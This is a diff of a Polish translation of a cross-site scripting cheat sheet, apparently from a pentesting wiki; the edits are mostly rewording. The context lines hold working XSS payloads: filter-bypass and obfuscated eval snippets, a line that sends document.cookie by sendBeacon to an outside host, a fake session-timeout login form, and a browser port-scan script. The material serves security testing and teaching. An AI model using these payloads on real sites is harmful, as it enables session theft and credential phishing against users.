@ -430,7 +430,7 @@ Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Moż
|
||||
|
||||
### Ominięcia czarnej listy
|
||||
|
||||
Kilka sztuczek z użyciem różnych kodowań zostało już przedstawionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:
|
||||
Kilka sztuczek z używaniem różnych kodowań zostało już ujawnionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:
|
||||
|
||||
- **Kodowanie HTML (tagi HTML)**
|
||||
- **Kodowanie Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
|
||||
@ -444,7 +444,7 @@ Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](#blacklist-bypasses).
|
||||
|
||||
**Ominięcia dla kodu JavaScript**
|
||||
|
||||
Przeczytaj [czarną listę omijania JavaScript w następnej sekcji](#javascript-bypass-blacklists-techniques).
|
||||
Przeczytaj [czarną listę ominięć JavaScript z następnej sekcji](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### Gadżety CSS
|
||||
|
||||
@ -468,7 +468,7 @@ Ten trik został zaczerpnięty z [https://medium.com/@skavans\_/improving-the-im
|
||||
|
||||
## Wstrzykiwanie wewnątrz kodu JavaScript
|
||||
|
||||
W tych przypadkach twój **input** będzie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami `<script>...</script>` lub pomiędzy zdarzeniami HTML, które mogą wykonywać kod JS lub pomiędzy atrybutami, które akceptują protokół `javascript:`.
|
||||
W tym przypadku twój **input** będzie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami `<script>...</script>` lub pomiędzy zdarzeniami HTML, które mogą wykonywać kod JS lub pomiędzy atrybutami, które akceptują protokół `javascript:`.
|
||||
|
||||
### Ucieczka z tagu \<script>
|
||||
|
||||
@ -480,7 +480,7 @@ Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysło
|
||||
|
||||
### Wewnątrz kodu JS
|
||||
|
||||
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój **input** i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
|
||||
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój input, i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,8 +488,8 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znaj
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticky** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
|
||||
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticków, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
|
||||
Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
|
||||
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
|
||||
|
||||
Można to **nadużyć** używając:
|
||||
```javascript
|
||||
@ -510,7 +510,7 @@ loop``
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Kodowanie Unicode wykonanie JS
|
||||
### Kodowanie Unicode wykonania JS
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Nowe linie w JavaScript (z** [**sztuczki z nowymi liniami w JavaScript**](#javascript-new-lines) **)**
|
||||
**Nowe linie w JavaScript (z** [**sztuczki nowe linie w JavaScript**](#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -740,7 +740,7 @@ top[8680439..toString(30)](1)
|
||||
## **Luki w DOM**
|
||||
|
||||
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
|
||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
|
||||
**Z powodu rozszerzenia wyjaśnienia o** [**lukach w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -767,11 +767,11 @@ Może się zdarzyć, że użytkownik może podzielić się swoim profilem z admi
|
||||
|
||||
### Odbicie sesji
|
||||
|
||||
Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł ci pomóc, będzie widział to, co ty widzisz w swojej sesji, ale z jego sesji.
|
||||
Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł Ci pomóc, będzie widział to, co Ty widzisz w swojej sesji, ale z jego sesji.
|
||||
|
||||
Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego ciasteczka/sesję.
|
||||
Możesz sprawić, że **administrator wywoła Twoje self XSS** i ukraść jego ciasteczka/sesję.
|
||||
|
||||
## Inne obejścia
|
||||
## Inne Obejścia
|
||||
|
||||
### Normalizowany Unicode
|
||||
|
||||
@ -826,16 +826,16 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS z wstrzyknięciem nagłówków w odpowiedzi 302
|
||||
|
||||
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, by przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
|
||||
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
|
||||
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w treści.\
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w ciele.\
|
||||
Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`.
|
||||
|
||||
### Tylko litery, cyfry i kropki
|
||||
|
||||
Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak wykorzystać to zachowanie.
|
||||
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczony do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
|
||||
|
||||
### Ważne typy zawartości `<script>` do XSS
|
||||
### Ważne `<script>` Typy zawartości do XSS
|
||||
|
||||
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **typem zawartości** takim jak `application/octet-stream`, Chrome zgłosi następujący błąd:
|
||||
|
||||
@ -897,7 +897,7 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
|
||||
To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
|
||||
```html
|
||||
@ -917,7 +917,7 @@ To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/t
|
||||
```
|
||||
### Typy zawartości sieciowej do XSS
|
||||
|
||||
(Źródło: [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
|
||||
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -985,7 +985,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym artykule**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
|
||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
|
||||
|
||||
- Używając import()
|
||||
```javascript
|
||||
@ -1051,7 +1051,6 @@ trigger()
|
||||
|
||||
- **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
- [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
@ -1268,7 +1267,7 @@ Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzie
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nie **będziesz mógł uzyskać dostępu do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli masz wystarczająco dużo szczęścia.
|
||||
> Nie **będziesz mógł uzyskać dostęp do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli masz wystarczająco dużo szczęścia.
|
||||
|
||||
### Kradzież zawartości strony
|
||||
```javascript
|
||||
@ -1361,9 +1360,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na brak odpowiedzi._
|
||||
|
||||
Sprawdź listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Przejrzyj listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box do prośby o dane uwierzytelniające
|
||||
### Okno do wprowadzenia danych uwierzytelniających
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
@ -1499,7 +1498,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Dostęp do ukrytej zawartości
|
||||
|
||||
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX nadal można znaleźć po usunięciu wartości wejścia regex:
|
||||
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX wciąż można znaleźć po usunięciu wartości wejścia regex:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1562,7 +1561,7 @@ AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzen
|
||||
|
||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach.
|
||||
|
||||
Przykład [**opisu XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Przykład [**writeup XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS przesyłanie plików (svg)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user